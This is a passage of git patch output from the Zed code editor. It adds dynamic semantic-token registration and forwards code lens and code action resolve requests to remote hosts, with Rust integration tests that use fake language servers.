+                            );
+                        });
+                        notify_server_capabilities_updated(&server, cx);
+                        // Re-query already-open buffers, which would otherwise keep
+                        // tree-sitter-only highlighting until edited.
+                        self.refresh_semantic_tokens(server_id, None, cx);
+                    }
+                }
                 _ => log::warn!("unhandled capability registration: {reg:?}"),
             }
         }
@@ -13334,6 +13336,12 @@ impl LspStore {
                     });
                     notify_server_capabilities_updated(&server, cx);
                 }
+                "textDocument/semanticTokens" => {
+                    server.update_capabilities(|capabilities| {
+                        capabilities.semantic_tokens_provider = None;
+                    });
+                    notify_server_capabilities_updated(&server, cx);
+                }
                 "textDocument/didChange" => {
                     server.update_capabilities(|capabilities| {
                         let mut sync_options = Self::take_text_document_sync_options(capabilities);
diff --git a/crates/project/src/lsp_store/semantic_tokens.rs b/crates/project/src/lsp_store/semantic_tokens.rs
index 0f01c6350ece89..25617e3ad82d6c 100644
--- a/crates/project/src/lsp_store/semantic_tokens.rs
+++ b/crates/project/src/lsp_store/semantic_tokens.rs
@@ -351,6 +351,29 @@ impl LspStore {
         }
     }
 
+    /// `request_id` orders per-server refreshes (a higher id invalidates the cache).
+    /// Client-initiated refreshes (e.g. after dynamic registration) pass `None`.
+    pub(crate) fn refresh_semantic_tokens(
+        &mut self,
+        server_id: LanguageServerId,
+        request_id: Option<usize>,
+        cx: &mut Context<Self>,
+    ) {
+        cx.emit(LspStoreEvent::RefreshSemanticTokens {
+            server_id,
+            request_id,
+        });
+        if let Some((client, project_id)) = self.downstream_client.as_ref() {
+            client
+                .send(proto::RefreshSemanticTokens {
+                    project_id: *project_id,
+                    server_id: server_id.to_proto(),
+                    request_id: request_id.map(|id| id as u64),
+                })
+                .log_err();
+        }
+    }
+
     pub(crate) async fn handle_refresh_semantic_tokens(
         lsp_store: Entity<Self>,
         envelope: TypedEnvelope<proto::RefreshSemanticTokens>,
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 1ef64383eb100a..bed11fa216e3f9 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -2251,6 +2251,131 @@ async fn test_rescan_fs_change_is_reported_to_language_servers_as_changed(
     );
 }
 
+#[gpui::test]
+async fn test_dynamic_semantic_tokens_registration(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/the-root"),
+        json!({
+            "a.rs": "fn main() {}",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs.clone(), [path!("/the-root").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "the-language-server",
+            // Crucially, no `semantic_tokens_provider` is advertised statically; the
+            // server only offers it through dynamic registration (as Roslyn does).
+            ..Default::default()
+        },
+    );
+
+    let _buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let fake_server = fake_servers.next().await.unwrap();
+    let server_id = fake_server.server.server_id();
+    cx.executor().run_until_parked();
+
+    let semantic_tokens_provider = |cx: &mut gpui::TestAppContext| {
+        project.read_with(cx, |project, cx| {
+            project
+                .lsp_store()
+                .read(cx)
+                .lsp_server_capabilities
+                .get(&server_id)
+                .and_then(|capabilities| capabilities.semantic_tokens_provider.clone())
+        })
+    };
+
+    assert!(
+        semantic_tokens_provider(cx).is_none(),
+        "server should not advertise semantic tokens before dynamic registration"
+    );
+
+    fake_server
+        .request::<lsp::request::RegisterCapability>(
+            lsp::RegistrationParams {
+                registrations: vec![lsp::Registration {
+                    id: "semantic-tokens".to_string(),
+                    method: "textDocument/semanticTokens".to_string(),
+                    register_options: serde_json::to_value(
+                        lsp::SemanticTokensRegistrationOptions {
+                            text_document_registration_options:
+                                lsp::TextDocumentRegistrationOptions {
+                                    document_selector: None,
+                                },
+                            semantic_tokens_options: lsp::SemanticTokensOptions {
+                                legend: lsp::SemanticTokensLegend {
+                                    token_types: vec!["keyword".into(), "variable".into()],
+                                    token_modifiers: vec![],
+                                },
+                                full: Some(lsp::SemanticTokensFullOptions::Bool(true)),
+                                ..Default::default()
+                            },
+                            static_registration_options: lsp::StaticRegistrationOptions {
+                                id: None,
+                            },
+                        },
+                    )
+                    .ok(),
+                }],
+            },
+            DEFAULT_LSP_REQUEST_TIMEOUT,
+        )
+        .await
+        .into_response()
+        .unwrap();
+    cx.executor().run_until_parked();
+
+    let provider = semantic_tokens_provider(cx)
+        .expect("semantic tokens provider should be set after dynamic registration");
+    // The capability round-trips through capability-sync serialization, which may
+    // normalize the registration options into plain options; either shape is fine
+    // as long as the legend survives.
+    let legend = match provider {
+        lsp::SemanticTokensServerCapabilities::SemanticTokensOptions(options) => options.legend,
+        lsp::SemanticTokensServerCapabilities::SemanticTokensRegistrationOptions(options) => {
+            options.semantic_tokens_options.legend
+        }
+    };
+    assert_eq!(
+        legend.token_types,
+        vec!["keyword".into(), "variable".into()],
+    );
+
+    fake_server
+        .request::<lsp::request::UnregisterCapability>(
+            lsp::UnregistrationParams {
+                unregisterations: vec![lsp::Unregistration {
+                    id: "semantic-tokens".to_string(),
+                    method: "textDocument/semanticTokens".to_string(),
+                }],
+            },
+            DEFAULT_LSP_REQUEST_TIMEOUT,
+        )
+        .await
+        .into_response()
+        .unwrap();
+    cx.executor().run_until_parked();
+
+    assert!(
+        semantic_tokens_provider(cx).is_none(),
+        "semantic tokens provider should be cleared after unregistration"
+    );
+}
+
 #[gpui::test]
 async fn test_reporting_fs_changes_to_language_servers(cx: &mut gpui::TestAppContext) {
     init_test(cx);

From 0deb6c0deaa91d12bafae3b76d41c965bd4d7615 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Sun, 28 Jun 2026 17:44:44 +0300
Subject: [PATCH 136/772] Fix code lens not being resolved in remote workflows
 (#59999)

Follow-up to https://github.com/zed-industries/zed/pull/54100
Closes https://github.com/zed-industries/zed/issues/59122

Original PR overlooked that the resolve was not handled from the remote
hosts at all...
Also, fixes the re-fetch of code lens not taking new language servers
into account: before, it exit early whilst now it actually re-fetches
the lens for the new servers.

Before:

<img width="1728" height="1084" alt="before"
src="https://github.com/user-attachments/assets/9ee8205b-084b-4409-9abc-18c4ddb9c4e9"
/>

After:

<img width="1728" height="1084" alt="after"
src="https://github.com/user-attachments/assets/16ad76dc-25e1-4257-80dc-b5aeabc9a4ef"
/>


Release Notes:

- Fixed code lens not being resolved in remote workflows
---
 Cargo.lock                                    |   1 +
 crates/collab/src/rpc.rs                      |   1 +
 .../collab/tests/integration/editor_tests.rs  | 137 +++++
 crates/project/src/lsp_store.rs               |  68 +++
 crates/project/src/lsp_store/code_lens.rs     |  59 ++-
 crates/proto/proto/lsp.proto                  |  10 +
 crates/proto/proto/zed.proto                  |   4 +-
 crates/proto/src/proto.rs                     |   4 +
 crates/remote_server/Cargo.toml               |  11 +-
 .../remote_server/src/remote_editing_tests.rs | 468 +++++++++++++++++-
 10 files changed, 747 insertions(+), 16 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index ad39bf4af7b701..f43363e23c26ca 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -15171,6 +15171,7 @@ dependencies = [
  "uuid",
  "watch",
  "windows 0.61.3",
+ "workspace",
  "worktree",
  "zlog",
 ]
diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index e74aea147dabb3..074735d82d22be 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -363,6 +363,7 @@ impl Server {
             .add_request_handler(forward_read_only_project_request::<proto::OpenBufferById>)
             .add_request_handler(forward_read_only_project_request::<proto::SynchronizeBuffers>)
             .add_request_handler(forward_read_only_project_request::<proto::ResolveInlayHint>)
+            .add_request_handler(forward_read_only_project_request::<proto::ResolveCodeAction>)
             .add_request_handler(forward_read_only_project_request::<proto::ResolveDocumentLink>)
             .add_request_handler(forward_read_only_project_request::<proto::GetColorPresentation>)
             .add_request_handler(forward_read_only_project_request::<proto::OpenBufferByPath>)
diff --git a/crates/collab/tests/integration/editor_tests.rs b/crates/collab/tests/integration/editor_tests.rs
index e4e8fbfae01995..142c00cff5da18 100644
--- a/crates/collab/tests/integration/editor_tests.rs
+++ b/crates/collab/tests/integration/editor_tests.rs
@@ -10,6 +10,7 @@ use editor::{
         CopyFileName, CopyFileNameWithoutExtension, ExpandMacroRecursively, MoveToEnd, Redo,
         Rename, SelectAll, ToggleCodeActions, Undo,
     },
+    code_context_menus::CodeContextMenu,
     test::{
         editor_test_context::{AssertionContextManager, EditorTestContext},
         expand_macro_recursively,
@@ -1411,6 +1412,142 @@ async fn test_slow_lsp_server(cx_a: &mut TestAppContext, cx_b: &mut TestAppConte
     )
 }
 
+#[gpui::test]
+async fn test_collaborating_with_code_lens_resolve(
+    cx_a: &mut TestAppContext,
+    cx_b: &mut TestAppContext,
+) {
+    let mut server = TestServer::start(cx_a.executor()).await;
+    let client_a = server.create_client(cx_a, "user_a").await;
+    let client_b = server.create_client(cx_b, "user_b").await;
+    server
+        .create_room(&mut [(&client_a, cx_a), (&client_b, cx_b)])
+        .await;
+    let active_call_a = cx_a.read(ActiveCall::global);
+    cx_b.update(editor::init);
+    cx_b.update(|cx| {
+        SettingsStore::update_global(cx, |store, cx| {
+            store.update_user_settings(cx, |settings| {
+                settings.editor.code_lens = Some(settings::CodeLens::Menu);
+            });
+        });
+    });
+
+    let capabilities = lsp::ServerCapabilities {
+        code_lens_provider: Some(lsp::CodeLensOptions {
+            resolve_provider: Some(true),
+        }),
+        ..lsp::ServerCapabilities::default()
+    };
+    client_a.language_registry().add(rust_lang());
+    client_a.language_registry().register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: capabilities.clone(),
+            initializer: Some(Box::new(|fake_lsp| {
+                fake_lsp.set_request_handler::<lsp::request::CodeLensRequest, _, _>(
+                    |_, _| async move {
+                        Ok(Some(vec![lsp::CodeLens {
+                            range: lsp::Range::new(
+                                lsp::Position::new(0, 0),
+                                lsp::Position::new(0, 9),
+                            ),
+                            command: None,
+                            data: Some(serde_json::json!({ "id": "lens" })),
+                        }]))
+                    },
+                );
+                fake_lsp.set_request_handler::<lsp::request::CodeLensResolve, _, _>(
+                    |lens, _| async move {
+                        Ok(lsp::CodeLens {
+                            command: Some(lsp::Command {
+                                title: "1 reference".to_string(),
+                                command: "noop".to_string(),
+                                arguments: None,
+                            }),
+                            ..lens
+                        })
+                    },
+                );
+            })),
+            ..FakeLspAdapter::default()
+        },
+    );
+    client_b.language_registry().add(rust_lang());
+    client_b.language_registry().register_fake_lsp_adapter(
+        "Rust",
+        FakeLspAdapter {
+            capabilities,
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    client_a
+        .fs()
+        .insert_tree(
+            path!("/dir"),
+            json!({
+                "one.rs": "const ONE: usize = 1;"
+            }),
+        )
+        .await;
+    let (project_a, worktree_id) = client_a.build_local_project(path!("/dir"), cx_a).await;
+    let project_id = active_call_a
+        .update(cx_a, |call, cx| call.share_project(project_a.clone(), cx))
+        .await
+        .unwrap();
+    let project_b = client_b.join_remote_project(project_id, cx_b).await;
+
+    let (workspace_b, cx_b) = client_b.build_workspace(&project_b, cx_b);
+    let editor_b = workspace_b
+        .update_in(cx_b, |workspace, window, cx| {
+            workspace.open_path((worktree_id, rel_path("one.rs")), None, true, window, cx)
+        })
+        .await
+        .unwrap()
+        .downcast::<Editor>()
+        .unwrap();
+    cx_a.run_until_parked();
+    cx_b.run_until_parked();
+
+    editor_b.update_in(cx_b, |editor, window, cx| {
+        editor.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
+            s.select_ranges([Point::new(0, 0)..Point::new(0, 0)]);
+        });
+    });
+    cx_a.background_executor
+        .advance_clock(editor::CODE_ACTIONS_DEBOUNCE_TIMEOUT * 2);
+    cx_a.run_until_parked();
+    cx_b.run_until_parked();
+
+    editor_b.update_in(cx_b, |editor, window, cx| {
+        editor.toggle_code_actions(
+            &ToggleCodeActions {
+                deployed_from: None,
+                quick_launch: false,
+            },
+            window,
+            cx,
+        );
+    });
+    cx_a.run_until_parked();
+    cx_b.run_until_parked();
+
+    editor_b.update(cx_b, |editor, _| {
+        assert!(editor.context_menu_visible());
+        let menu = editor.context_menu().borrow();
+        let actions_menu = match menu.as_ref() {
+            Some(CodeContextMenu::CodeActions(m)) => m,
+            _ => panic!("Expected code actions menu to be visible"),
+        };
+        let item = actions_menu
+            .actions
+            .get(0)
+            .expect("Expected at least one item in menu");
+        assert_eq!(item.label(), "1 reference");
+    });
+}
+
 #[gpui::test(iterations = 10)]
 async fn test_language_server_statuses(cx_a: &mut TestAppContext, cx_b: &mut TestAppContext) {
     let mut server = TestServer::start(cx_a.executor()).await;
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 24df7f5434a362..feb1936c47a99f 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -4218,6 +4218,7 @@ impl LspStore {
         client.add_entity_request_handler(Self::handle_apply_code_action);
         client.add_entity_request_handler(Self::handle_get_project_symbols);
         client.add_entity_request_handler(Self::handle_resolve_inlay_hint);
+        client.add_entity_request_handler(Self::handle_resolve_code_action);
         client.add_entity_request_handler(Self::handle_resolve_document_link);
         client.add_entity_request_handler(Self::handle_get_color_presentation);
         client.add_entity_request_handler(Self::handle_open_buffer_for_symbol);
@@ -5710,6 +5711,73 @@ impl LspStore {
         }
     }
 
+    pub fn resolve_code_action(
+        &self,
+        buffer: &Entity<Buffer>,
+        mut action: CodeAction,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<CodeAction>> {
+        if action.resolved {
+            return Task::ready(Ok(action));
+        }
+        if let Some((upstream_client, project_id)) = self.upstream_client() {
+            let request = proto::ResolveCodeAction {
+                project_id,
+                buffer_id: buffer.read(cx).remote_id().into(),
+                action: Some(Self::serialize_code_action(&action)),
+            };
+            cx.background_spawn(async move {
+                let response = upstream_client
+                    .request(request)
+                    .await
+                    .context("resolve code action proto request")?;
+                let action = response.action.context("missing resolved action")?;
+                Self::deserialize_code_action(action)
+            })
+        } else if self.mode.is_local() {
+            let server_id = action.server_id;
+            let Some(lang_server) = buffer.update(cx, |buffer, cx| {
+                self.language_server_for_local_buffer(buffer, server_id, cx)
+                    .map(|(_, server)| server.clone())
+            }) else {
+                return Task::ready(Ok(action));
+            };
+            let request_timeout = ProjectSettings::get_global(cx)
+                .global_lsp_settings
+                .get_request_timeout();
+            cx.background_spawn(async move {
+                LocalLspStore::try_resolve_code_action(&lang_server, &mut action, request_timeout)
+                    .await
+                    .context("resolving a code action")?;
+                Ok(action)
+            })
+        } else {
+            Task::ready(Err(anyhow!("no upstream client and not local")))
+        }
+    }
+
+    pub(super) async fn handle_resolve_code_action(
+        lsp_store: Entity<Self>,
+        envelope: TypedEnvelope<proto::ResolveCodeAction>,
+        mut cx: AsyncApp,
+    ) -> Result<proto::ResolveCodeActionResponse> {
+        let action =
+            Self::deserialize_code_action(envelope.payload.action.context("invalid action")?)?;
+        let buffer = lsp_store.update(&mut cx, |lsp_store, cx| {
+            let buffer_id = BufferId::new(envelope.payload.buffer_id)?;
+            lsp_store.buffer_store.read(cx).get_existing(buffer_id)
+        })?;
+        let resolved = lsp_store
+            .update(&mut cx, |lsp_store, cx| {
+                lsp_store.resolve_code_action(&buffer, action, cx)
+            })
+            .await
+            .context("resolving code action")?;
+        Ok(proto::ResolveCodeActionResponse {
+            action: Some(Self::serialize_code_action(&resolved)),
+        })
+    }
+
     pub fn apply_code_action_kind(
         &mut self,
         buffers: HashSet<Entity<Buffer>>,
diff --git a/crates/project/src/lsp_store/code_lens.rs b/crates/project/src/lsp_store/code_lens.rs
index f21fb2ebb6b384..6616e4f8a42f5e 100644
--- a/crates/project/src/lsp_store/code_lens.rs
+++ b/crates/project/src/lsp_store/code_lens.rs
@@ -3,7 +3,7 @@ use std::sync::Arc;
 
 use anyhow::{Context as _, Result};
 use clock::Global;
-use collections::HashMap;
+use collections::{HashMap, HashSet};
 use futures::{
     FutureExt as _,
     future::{Shared, join_all},
@@ -122,21 +122,23 @@ impl LspStore {
     ) -> CodeLensTask {
         let version_queried_for = buffer.read(cx).version();
         let buffer_id = buffer.read(cx).remote_id();
-        let existing_servers = self.as_local().map(|local| {
+        let existing_servers = if let Some(local) = self.as_local() {
             local
                 .buffers_opened_in_servers
                 .get(&buffer_id)
                 .cloned()
                 .unwrap_or_default()
-        });
+        } else {
+            self.relevant_server_ids_for_capability_check(buffer, cx)
+                .into_iter()
+                .collect()
+        };
 
         if let Some(lsp_data) = self.current_lsp_data(buffer_id) {
             if let Some(cached_lens) = &lsp_data.code_lens {
                 if !version_queried_for.changed_since(&lsp_data.buffer_version) {
-                    let has_different_servers = existing_servers.is_some_and(|existing_servers| {
-                        existing_servers != cached_lens.lens.keys().copied().collect()
-                    });
-                    if !has_different_servers {
+                    let cached_servers = cached_lens.lens.keys().copied().collect::<HashSet<_>>();
+                    if existing_servers == cached_servers {
                         return Task::ready(Ok(Some(flatten_cache(&cached_lens.lens)))).shared();
                     }
                 } else if let Some((updating_for, running_update)) = cached_lens.update.as_ref() {
@@ -304,7 +306,7 @@ impl LspStore {
     /// `(id, resolved_action)` pair is returned.
     ///
     /// All visibility / batching policy lives in the caller. Remote (proto)
-    /// resolves are not yet supported and currently yield `None`.
+    /// resolves are forwarded to the host via [`Self::resolve_code_action`].
     pub fn resolve_code_lens(
         &mut self,
         buffer: &Entity<Buffer>,
@@ -339,6 +341,47 @@ impl LspStore {
             return Task::ready(None).shared();
         };
         let lens = lens.clone();
+        let action = cached.clone();
+
+        if self.upstream_client().is_some() {
+            if !self.check_if_capable_for_proto_request(buffer, GetCodeLens::can_resolve_lens, cx) {
+                return Task::ready(None).shared();
+            }
+            let resolve = self.resolve_code_action(buffer, action, cx);
+            let task = cx
+                .spawn(async move |lsp_store, cx| {
+                    let resolved = resolve
+                        .await
+                        .context("resolving remote code lens")
+                        .log_err()?;
+                    lsp_store
+                        .update(cx, |lsp_store, _| {
+                            let code_lens = lsp_store
+                                .lsp_data
+                                .get_mut(&buffer_id)
+                                .and_then(|data| data.code_lens.as_mut())?;
+                            code_lens.resolving.remove(&key);
+                            let action = code_lens
+                                .lens
+                                .get_mut(&server_id)
+                                .and_then(|cache| cache.get_mut(&lens_id))?;
+                            action.resolved = true;
+                            action.lsp_action = resolved.lsp_action;
+                            Some((lens_id, action.clone()))
+                        })
+                        .ok()
+                        .flatten()
+                })
+                .shared();
+            if let Some(code_lens) = self
+                .lsp_data
+                .get_mut(&buffer_id)
+                .and_then(|data| data.code_lens.as_mut())
+            {
+                code_lens.resolving.insert(key, task.clone());
+            }
+            return task;
+        }
 
         let Some(server) = self.language_server_for_id(server_id) else {
             return Task::ready(None).shared();
diff --git a/crates/proto/proto/lsp.proto b/crates/proto/proto/lsp.proto
index 2c91b41f634a34..33198b30acdac5 100644
--- a/crates/proto/proto/lsp.proto
+++ b/crates/proto/proto/lsp.proto
@@ -378,6 +378,16 @@ message ApplyCodeAction {
   CodeAction action = 3;
 }
 
+message ResolveCodeAction {
+  uint64 project_id = 1;
+  uint64 buffer_id = 2;
+  CodeAction action = 3;
+}
+
+message ResolveCodeActionResponse {
+  CodeAction action = 1;
+}
+
 message ApplyCodeActionResponse {
   ProjectTransaction transaction = 1;
 }
diff --git a/crates/proto/proto/zed.proto b/crates/proto/proto/zed.proto
index f87c0444c688a6..2a196e86e86c18 100644
--- a/crates/proto/proto/zed.proto
+++ b/crates/proto/proto/zed.proto
@@ -487,7 +487,9 @@ message Envelope {
     ResolveDocumentLinkResponse resolve_document_link_response = 456;
     GitWorktreeCreatedAt git_worktree_created_at = 457;
     GitWorktreeCreatedAtResponse git_worktree_created_at_response = 458;
-    TelemetryEvent telemetry_event = 459; // current max
+    TelemetryEvent telemetry_event = 459;
+    ResolveCodeAction resolve_code_action = 460;
+    ResolveCodeActionResponse resolve_code_action_response = 461; // current max
   }
 
   reserved 87 to 88;
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index 898677855373c4..b998300f065a34 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -233,6 +233,8 @@ messages!(
     (RefreshCodeLens, Background),
     (GetCodeLens, Background),
     (GetCodeLensResponse, Background),
+    (ResolveCodeAction, Background),
+    (ResolveCodeActionResponse, Background),
     (RespondToChannelInvite, Foreground),
     (RespondToContactRequest, Foreground),
     (RestartLanguageServers, Foreground),
@@ -472,6 +474,7 @@ request_messages!(
         ResolveCompletionDocumentationResponse
     ),
     (ResolveInlayHint, ResolveInlayHintResponse),
+    (ResolveCodeAction, ResolveCodeActionResponse),
     (GetDocumentColor, GetDocumentColorResponse),
     (GetDocumentLinks, GetDocumentLinksResponse),
     (ResolveDocumentLink, ResolveDocumentLinkResponse),
@@ -687,6 +690,7 @@ entity_messages!(
     RenameProjectEntry,
     ResolveCompletionDocumentation,
     ResolveInlayHint,
+    ResolveCodeAction,
     SaveBuffer,
     Stage,
     StartLanguageServer,
diff --git a/crates/remote_server/Cargo.toml b/crates/remote_server/Cargo.toml
index 66cb46688ec4cf..89b0dfef67dc4c 100644
--- a/crates/remote_server/Cargo.toml
+++ b/crates/remote_server/Cargo.toml
@@ -97,17 +97,18 @@ fs = { workspace = true, features = ["test-support"] }
 gpui = { workspace = true, features = ["test-support"] }
 http_client = { workspace = true, features = ["test-support"] }
 language = { workspace = true, features = ["test-support"] }
+language_model = { workspace = true, features = ["test-support"] }
+lsp = { workspace = true, features = ["test-support"] }
 node_runtime = { workspace = true, features = ["test-support"] }
 pretty_assertions.workspace = true
 project = { workspace = true, features = ["test-support"] }
 remote = { workspace = true, features = ["test-support"] }
-theme_settings.workspace = true
-theme = { workspace = true, features = ["test-support"] }
-language_model = { workspace = true, features = ["test-support"] }
-lsp = { workspace = true, features = ["test-support"] }
-unindent.workspace = true
 serde_json.workspace = true
 tempfile.workspace = true
+theme = { workspace = true, features = ["test-support"] }
+theme_settings.workspace = true
+unindent.workspace = true
+workspace = { workspace = true, features = ["test-support"] }
 zlog.workspace = true
 
 [build-dependencies]
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 0233057260ae71..cd70c9c2914d2f 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -13,16 +13,21 @@ use collections::{HashMap, HashSet};
 use language_model::{LanguageModelRegistry, LanguageModelToolResultContent};
 use languages::rust_lang;
 
+use editor::{
+    Editor, SelectionEffects,
+    actions::{ConfirmCodeAction, ToggleCodeActions},
+    code_context_menus::CodeContextMenu,
+};
 use extension::ExtensionHostProxy;
 use fs::{FakeFs, Fs};
 use git::{
     Oid,
     repository::{CommitData, Worktree as GitWorktree},
 };
-use gpui::{AppContext as _, Entity, SharedString, TestAppContext};
+use gpui::{AppContext as _, Entity, SharedString, TestAppContext, UpdateGlobal, VisualContext};
 use http_client::{BlockedHttpClient, FakeHttpClient};
 use language::{
-    Buffer, FakeLspAdapter, LanguageConfig, LanguageMatcher, LanguageRegistry, LineEnding,
+    Buffer, FakeLspAdapter, LanguageConfig, LanguageMatcher, LanguageRegistry, LineEnding, Point,
     language_settings::{AllLanguageSettings, LanguageSettings},
 };
 use lsp::{
@@ -882,6 +887,465 @@ async fn test_remote_lsp(cx: &mut TestAppContext, server_cx: &mut TestAppContext
     })
 }
 
+#[gpui::test]
+async fn test_remote_code_action_resolve(cx: &mut TestAppContext, server_cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        let settings_store = SettingsStore::test(cx);
+        cx.set_global(settings_store);
+        theme_settings::init(theme::LoadThemes::JustBase, cx);
+        release_channel::init(semver::Version::new(0, 0, 0), cx);
+        editor::init(cx);
+    });
+
+    let fs = FakeFs::new(server_cx.executor());
+    fs.insert_tree(
+        path!("/code"),
+        json!({
+            "project1": {
+                ".git": {},
+                "src": {
+                    "lib.rs": "fn one() -> usize { 1 }"
+                }
+            },
+        }),
+    )
+    .await;
+
+    let (project, headless) = init_test(&fs, cx, server_cx).await;
+
+    let capabilities = lsp::ServerCapabilities {
+        code_action_provider: Some(lsp::CodeActionProviderCapability::Options(
+            lsp::CodeActionOptions {
+                resolve_provider: Some(true),
+                ..lsp::CodeActionOptions::default()
+            },
+        )),
+        ..lsp::ServerCapabilities::default()
+    };
+
+    cx.update_entity(&project, |project, _| {
+        project.languages().register_test_language(LanguageConfig {
+            name: "Rust".into(),
+            matcher: LanguageMatcher {
+                path_suffixes: vec!["rs".into()],
+                ..Default::default()
+            },
+            ..Default::default()
+        });
+        project.languages().register_fake_lsp_adapter(
+            "Rust",
+            FakeLspAdapter {
+                name: "rust-analyzer",
+                capabilities: capabilities.clone(),
+                ..FakeLspAdapter::default()
+            },
+        );
+    });
+
+    server_cx.update(|cx| {
+        headless.read(cx).languages.register_fake_lsp_server(
+            LanguageServerName("rust-analyzer".into()),
+            capabilities,
+            Some(Box::new(|fake_lsp| {
+                fake_lsp.set_request_handler::<lsp::request::CodeActionRequest, _, _>(
+                    |_, _| async move {
+                        Ok(Some(vec![lsp::CodeActionOrCommand::CodeAction(
+                            lsp::CodeAction {
+                                title: "Use two".to_string(),
+                                data: Some(serde_json::json!({ "id": "action" })),
+                                ..lsp::CodeAction::default()
+                            },
+                        )]))
+                    },
+                );
+                fake_lsp.set_request_handler::<lsp::request::CodeActionResolveRequest, _, _>(
+                    |mut action, _| async move {
+                        action.edit = Some(lsp::WorkspaceEdit {
+                            changes: Some(
+                                [(
+                                    lsp::Uri::from_file_path(path!("/code/project1/src/lib.rs"))
+                                        .unwrap(),
+                                    vec![lsp::TextEdit::new(
+                                        lsp::Range::new(
+                                            lsp::Position::new(0, 3),
+                                            lsp::Position::new(0, 6),
+                                        ),
+                                        "two".to_string(),
+                                    )],
+                                )]
+                                .into_iter()
+                                .collect(),
+                            ),
+                            ..lsp::WorkspaceEdit::default()
+                        });
+                        Ok(action)
+                    },
+                );
+            })),
+        );
+    });
+
+    cx.run_until_parked();
+
+    let worktree_id = project
+        .update(cx, |project, cx| {
+            project.languages().add(rust_lang());
+            project.find_or_create_worktree(path!("/code/project1"), true, cx)
+        })
+        .await
+        .unwrap()
+        .0
+        .read_with(cx, |worktree, _| worktree.id());
+    cx.run_until_parked();
+
+    let (buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_buffer_with_lsp((worktree_id, rel_path("src/lib.rs")), cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    let cx = cx.add_empty_window();
+    let workspace = cx.new_window_entity(|window, cx| {
+        workspace::Workspace::test_new(project.clone(), window, cx)
+    });
+    let editor = cx.new_window_entity(|window, cx| {
+        Editor::for_buffer(buffer.clone(), Some(project.clone()), window, cx)
+    });
+    workspace.update_in(cx, |workspace, window, cx| {
+        workspace.add_item_to_active_pane(Box::new(editor.clone()), None, true, window, cx);
+    });
+    cx.run_until_parked();
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(SelectionEffects::default(), window, cx, |s| {
+            s.select_ranges([Point::new(0, 0)..Point::new(0, 0)]);
+        });
+    });
+    cx.executor()
+        .advance_clock(editor::CODE_ACTIONS_DEBOUNCE_TIMEOUT * 2);
+    cx.run_until_parked();
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.toggle_code_actions(
+            &ToggleCodeActions {
+                deployed_from: None,
+                quick_launch: false,
+            },
+            window,
+            cx,
+        );
+    });
+    cx.run_until_parked();
+
+    editor.update(cx, |editor, _| assert!(editor.context_menu_visible()));
+
+    let confirm_action = editor
+        .update_in(cx, |editor, window, cx| {
+            Editor::confirm_code_action(editor, &ConfirmCodeAction { item_ix: Some(0) }, window, cx)
+        })
+        .unwrap();
+    confirm_action.await.unwrap();
+
+    buffer.read_with(cx, |buffer, _| {
+        assert_eq!(buffer.text(), "fn two() -> usize { 1 }");
+    });
+}
+
+#[gpui::test]
+async fn test_remote_code_lens_fetch_after_lsp_starts(
+    cx: &mut TestAppContext,
+    server_cx: &mut TestAppContext,
+) {
+    let fs = FakeFs::new(server_cx.executor());
+    fs.insert_tree(
+        path!("/code"),
+        json!({
+            "project1": {
+                ".git": {},
+                "src": {
+                    "lib.rs": "fn one() -> usize { 1 }"
+                }
+            },
+        }),
+    )
+    .await;
+
+    let (project, headless) = init_test(&fs, cx, server_cx).await;
+
+    let capabilities = lsp::ServerCapabilities {
+        code_lens_provider: Some(lsp::CodeLensOptions {
+            resolve_provider: None,
+        }),
+        ..lsp::ServerCapabilities::default()
+    };
+
+    cx.update_entity(&project, |project, _| {
+        project.languages().register_test_language(LanguageConfig {
+            name: "Rust".into(),
+            matcher: LanguageMatcher {
+                path_suffixes: vec!["rs".into()],
+                ..Default::default()
+            },
+            ..Default::default()
+        });
+        project.languages().register_fake_lsp_adapter(
+            "Rust",
+            FakeLspAdapter {
+                name: "rust-analyzer",
+                capabilities: capabilities.clone(),
+                ..FakeLspAdapter::default()
+            },
+        );
+    });
+
+    cx.run_until_parked();
+
+    let worktree_id = project
+        .update(cx, |project, cx| {
+            project.languages().add(rust_lang());
+            project.find_or_create_worktree(path!("/code/project1"), true, cx)
+        })
+        .await
+        .unwrap()
+        .0
+        .read_with(cx, |worktree, _| worktree.id());
+    cx.run_until_parked();
+
+    let (buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_buffer_with_lsp((worktree_id, rel_path("src/lib.rs")), cx)
+        })
+        .await
+        .unwrap();
